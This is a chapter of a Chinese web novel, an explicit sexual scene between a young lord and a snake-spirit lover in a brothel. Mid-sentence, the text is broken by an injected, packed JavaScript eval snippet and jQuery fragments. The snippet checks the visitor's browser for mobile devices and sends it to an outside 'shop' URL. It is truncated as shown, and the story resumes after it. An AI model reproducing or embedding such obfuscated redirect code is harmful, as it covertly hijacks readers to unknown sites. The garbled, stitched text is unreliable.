8. 8 桃花镜

作品:《世子的解药是只蛇

    厢房芬芳满室,浪起浪落,波澜一叠还一叠。


    神龙取水,水浪高吟。


    好是片刻,浪潮方渐褪去,而榻上泅开一大片的浪渍,竟仍是奇香。


    “阿奢,你可真是美味。”雁茴浅尝暂歇,在兰奢的腿内侧留下了几个食髓知味的牙印。


    兰奢的娇嫩的脸上汗涔涔的,几道泪痕干了,又流了新的泪下来。


    他的腿不停颤抖,呼吸亦是一喘一喘的。


    “现在就累成这样,过会儿可要怎么办?”雁茴拍了拍他雪白的腿,腿内那白玉一般的肌肤渐渐就浮现起红。


    “过、过会儿?”兰奢的瞳仁变直了,随后才一点一点圆回去,眼泪跟着大股涌出来,“雁世子,要杀我了嘛……”


    雁茴心疼地去揩他的泪:“小乖蛇,我舍不得你死。”不过,箭在弦上,要再次退场,也不可能,“但是现在呢……阿奢,我帮你磨磨也行。”


    “磨磨是什么意思?”兰奢眼泪一滴滴掉着,懵懵地望着雁茴。


    “磨磨就是——”雁茴怕他听了之后又不肯了,嘴角一勾,“比刚才还要快活的事。你马上就知道了,总之,我不会让小阿奢死的。”


    “啊……?”兰奢拗不过他了,就这么被他按住了。


    没经历过的小蛇,刚才那一遭,就软酥麻混作一起,颤乱不已了,其他的事情,一样承受不住。


    那一首诗写得好啊。


    一双修长玉白柱,偏有紫龙穿间过。


    紫剑追锋桃花镜,玉柄桃花皆受磨。


    这闲诗是谁写的不重要。


    总之,阿奢是很受不了了。


    比刚才还受不了极了。


    身上有火龙游走一般。


    仅剩的纱衣被灼开了,露出来的肩膀均是被烫出来的红印和汗津。


    虽然也真的只是这磨磨那磨磨而已,对兰奢来说已经非常极限了。


    他一手去抓着床帐,竟将整床的床帐都扯下来了,整株娇粉的花就这样被蒙在纱帐中,叫恶龙的爪子捕住,拼命挣扎,却如何都逃不出,花身上的露倒是全都甩出了,甩得快一点不剩。


    兰奢呼出来的那声量是一点不小。


    这动静少说还来了好几回,实在是有好一会儿。


    毕竟也算雁世子头一次沉浸美色,正是兴之至,怎么着也不可能那几下就结束了。


    到入夜了,雁茴才将浑身无力的小蛇抱到自己身上,亲吻着他的唇:“好阿奢,你待我真好。”


    兰奢早绵软无力,像条没骨小蛇那样瘫在雁茴怀里:“雁世子……你……呜……好吓人。”


    “吓人么?我瞧那小喷泉那么高,还以为你舒服极了。不过阿奢,你怎么浑身上下都敏感?”


    “呜呜呜……你不要说……”兰奢抬手捂住了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052045|194821||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    雁茴的嘴,气息恹恹的,“你再说,我真的要死啦……”


    雁茴不说了,含笑看着他。


    兰奢被他看得有点害羞,把手收回来,去抓床上的纱衣,赶忙将自己身上都遮裹住了。


    可这纱衣本就轻薄,愈是遮裹,愈达到反效果。


    雁茴瞧他叫纱衣半遮掩着的娇羞模样,很是有趣味,对阿奢那喘声的怀念也来了。他拿下巴蹭了蹭兰奢的头顶:“阿奢,不是说蛇交合要数个时辰吗?我们又没交合,却仍是时辰少得很。阿奢怎么能快活到呢?”


    兰奢吓得浑身过了电似的一颤,瞳仁瞬间变直了:“听、听谁说的?蛇跟蛇之间,亦有差别!”


    “真的?”


    “真的真的!”兰奢吓怕了,人从雁茴怀里滑出去,滚进被子躲起来了。


    雁茴问他怎么又躲起来了?阿奢却不肯从被子里出来,只是闷出一句:“你明天再来吧!今晚,我得休息了……”


    “阿奢今日不让我住这里了吗?”


    “……明、明天吧!”


    看来雁茴着实玩过了火,阿奢今晚不让他待了。


    此时已经入夜有一会儿,雁茴人才从兰奢的厢房里出来。


    楼上楼下来来回回急了好几次的花姐,看那雁家世子出门时,还意犹未尽地舔了下唇角,心里觉得难受极了:世子爷这是仗着自己的权势干什么呀,天真塌了。